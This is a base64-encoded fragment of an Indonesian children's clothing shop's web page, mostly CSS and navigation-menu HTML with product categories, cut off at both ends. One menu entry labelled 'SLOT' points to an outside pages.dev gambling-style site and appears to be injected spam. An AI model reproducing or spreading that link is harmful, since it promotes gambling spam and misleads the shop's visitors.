CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogZGFya2dyYXk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLmJyYW5kLWF6IGE6aG92ZXIgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZGRkOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzQ0NDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuYnJhbmQtYXogYS5hY3RpdmUgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTk3OWMzIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNmZmYgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuYnJhbmQtd3JhcHBlciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGdyaWQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KDYsMWZyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMCAyMHB4OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC52ZXMtbWVnYW1lbnUgLm5hdi1yZXZhbXAgLnJvdyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuaGVhZGNvbnRlbnQgcCwgLmhlYWRjb250ZW50IHAgYXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMxNjVjN2QhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHggIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOjE4cHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLm5hdmlnYXRpb24gLmxldmVsMCAuc3VibWVudSAua3NfY29udGVudCBwIGEgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzQxNDE0MTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6MTRweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubmF2aWdhdGlvbiAubGV2ZWwwIC5zdWJtZW51IC5rc19jb250ZW50IHAgYTpob3ZlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLmhlYWRjb250ZW50IHAgYTpob3ZlciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzAwMzk3MSFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnRlX2F6IC5rc19jb250ZW50IHAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAzcHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnZlcy1tZW51IC52ZXMtbWVnYW1lbnUubWVudS1ob3ZlciAuZHJvcGRvd24uY2xpY2tlZD4uZHJvcGRvd24tbWVudSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5tbi1ibG9jayAubWVuYXYgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiA0NXB4OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC52ZXMtbWVnYW1lbnUgLm5hdi1yZXZhbXAgLnJvdyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5icmFuZC1heiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiAyNjVweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3cteDogc2Nyb2xsOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogZmxleC1zdGFydDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmbGV4LWZsb3c6IHJvdzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIDEwcHggMTBweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuYnJhbmQtd3JhcHBlciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGdyaWQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KDIsMWZyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubW4tYmxvY2sgLm1lbmF2IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWluLWhlaWdodDogMjBweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAxMHB4OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5uYXYtbW9iaWxlIGxpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAwICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLmhlYWRjb250ZW50IHAsIC5oZWFkY29udGVudCBwIGEgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE2cHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0eWxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ2ZXNpdGVtLTg4NDU1MTc0MjMwODA2MTEzMjA1NzI4MDAiIGNsYXNzPSIgbmF2LWl0ZW0gbGV2ZWwwIHN1Ym1lbnUtbGVmdCBzdWJob3ZlciAgZHJvcGRvd24gbGV2ZWwtdG9wICI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4O3doaXRlLXNwYWNlOiBub3dyYXA7IiBjbGFzcz0iIG5hdi1hbmNob3IiPjxzcGFuPlNMT1Q8L3NwYW4%2BPHNwYW4gY2xhc3M9ImNhcmV0Ij48L3NwYW4%2BPHNwYW4gY2xhc3M9Im9wZW5lciI%2BPC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VibWVudSBhbmltYXRlZCAgZHJvcGRvd24tbWVudSIgc3R5bGU9IndpZHRoOjEwMCU7YW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lZ2FtZW51LWNvbnRlbnQiIHN0eWxlPSJ3aWR0aDoxMDAlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWRyb3Bkb3duIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9uZXctYXJyaXZhbC9mYXNoaW9uLmh0bWwiPnByb2R1ayB0ZXJiYXJ1PC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPmFrc2Vzb3JpczwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2tpZHMtYWNjZXNzb3JpZXMvYmFncy5odG1sIj50YXM8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIva2lkcy1hY2Nlc3Nvcmllcy9zdW5nbGFzc2VzLmh0bWwiPmthY2FtYXRhPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2tpZHMtYWNjZXNzb3JpZXMvaGFpci1hY2Nlc3Nvcmllcy5odG1sIj5ha3Nlc29yaXMgcmFtYnV0PC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiAxLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMi0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL2Nsb3RoaW5nLWVzc2VudGlhbHMuaHRtbCI%2Ba2VidXR1aGFuIGJheWk8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJ0ZV9heiIgc3R5bGU9InBhZGRpbmc6MDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImtzX2NvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvY2xvdGhpbmctZXNzZW50aWFscy9iYWJ5L3NsZWVwc3VpdHMtYWxsLWluLW9uZXMtcGpzL3NsZWVwc3VpdHMuaHRtbCI%2BcGFrYWlhbiB0aWR1cjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9jbG90aGluZy1lc3NlbnRpYWxzL2JhYnkvc2xlZXBzdWl0cy1hbGwtaW4tb25lcy1wanMvYWxsLWluLW9uZXMuaHRtbCI%2Bc2V0ICZhbXA7IHRlcnVzYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvY2xvdGhpbmctZXNzZW50aWFscy9iYWJ5L3NsZWVwc3VpdHMtYWxsLWluLW9uZXMtcGpzL3B5amFtYXMuaHRtbCI%2BcGl5YW1hPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2Nsb3RoaW5nLWVzc2VudGlhbHMvYmFieS9ib2R5c3VpdHMuaHRtbCI%2BYm9keXN1aXRzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2Bc2VwYXR1ICZhbXA7IGthdXMga2FraTwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2Zvb3R3ZWFyL2JhYnkuaHRtbCIgY2xhc3M9IiI%2Bc2VwYXR1IGJheWk8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZm9vdHdlYXIva2lkcy5odG1sIiBjbGFzcz0iIj5zZXBhdHUgYW5hazwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mb290d2Vhci9zYW5kYWxzLmh0bWwiPnNhbmRhbDwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mb290d2Vhci9zb2Nrcy5odG1sIj5rYXVzIGtha2k8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGNvbHVtbiAxICAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiAzLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPmZhc2hpb24gYmF5aSAoMGJsbi0zdGhuKTwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhYnktY2xvdGhpbmcvYmFieS0wLTI0LW1vbnRocy90b3BzLmh0bWwiPmF0YXNhbjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9iYWJ5LWNsb3RoaW5nL2JhYnktMC0yNC1tb250aHMvYm90dG9tcy5odG1sIj5iYXdhaGFuPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhYnktY2xvdGhpbmcvYmFieS0wLTI0LW1vbnRocy9kcmVzc2VzLmh0bWwiPmdhdW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmFieS1jbG90aGluZy9iYWJ5LTAtMjQtbW9udGhzL2Nsb3RoaW5nLXNldHMuaHRtbCI%2Bc2V0ZWxhbjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9iYWJ5LWNsb3RoaW5nL2JhYnktMC0yNC1tb250aHMvamFja2V0LW91dGVyd2Vhci5odG1sIj5qYWtldCAmYW1wOyBrYXJkaWdhbjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9iYWJ5LWNsb3RoaW5nL2JhYnktMC0yNC1tb250aHMvYWNjZXNzb3JpZXMuaHRtbCI%2BYWtzZXNvcmlzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg